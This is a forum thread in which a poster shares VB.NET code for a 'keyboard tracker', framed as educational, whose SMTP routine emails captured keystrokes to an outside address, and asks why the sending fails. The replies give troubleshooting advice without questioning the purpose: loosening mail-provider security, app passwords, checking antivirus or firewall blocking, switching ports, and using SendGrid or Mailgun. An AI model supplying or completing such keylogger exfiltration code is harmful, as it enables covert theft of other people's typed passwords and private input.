My keyboard tracker isn't sending logs to email (for educational purposes)

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1

I’m working on a keyboard tracker project for learning. I’ve got most of it working, but I can’t figure out why it’s not sending the logs to my email. Here’s a simplified version of my code:

Imports System.Net.Mail

Public Class KeyTracker
    Private Sub CaptureKeys()
        ' Code to capture keystrokes
    End Sub

    Private Sub SendLog()
        Dim emailClient As New SmtpClient()
        Dim message As New MailMessage()

        emailClient.Credentials = New Net.NetworkCredential("[email protected]", "mypassword")
        emailClient.Port = 587
        emailClient.Host = "smtp.example.com"
        emailClient.EnableSsl = True

        message.From = New MailAddress("[email protected]")
        message.To.Add("[email protected]")
        message.Body = "Captured keystrokes here"

        emailClient.Send(message)
    End Sub
End Class

The keys are being captured fine, but the email part isn’t working. Any ideas what I might be doing wrong? Thanks for any help!

2

I’ve encountered this problem in my own projects. One thing to consider is that some email providers, like Gmail, have security measures that block less secure apps from sending emails. You might need to enable ‘Less secure app access’ in your email settings or use an app-specific password.

Also, double-check your email credentials. Even a small typo can cause issues. If you’re still having trouble, try using a logging library like log4net to debug. It can help you pinpoint where exactly the email sending process is failing.

Lastly, make sure you’re handling exceptions properly. The email sending process can throw various exceptions, and without proper error handling, you might not even realize what’s going wrong. Wrap your email sending code in a try-catch block and log any exceptions you catch.

3

Have you considered using a third-party email service API instead of SMTP? Services like SendGrid or Mailgun often provide more reliable email delivery and easier setup. They usually offer free tiers for small projects too. You’d need to sign up, get an API key, and modify your code to use their library, but it could solve your issue and give you experience with web APIs. Just remember to keep any API keys secure and not share them publicly.

4

hey stella, i’ve had similar issues b4. make sure ur smtp settings r correct for ur email provider. also, check if ur antivirus/firewall is blocking the outgoing connection. u might wanna try using a different port like 465 for SSL. good luck with ur project!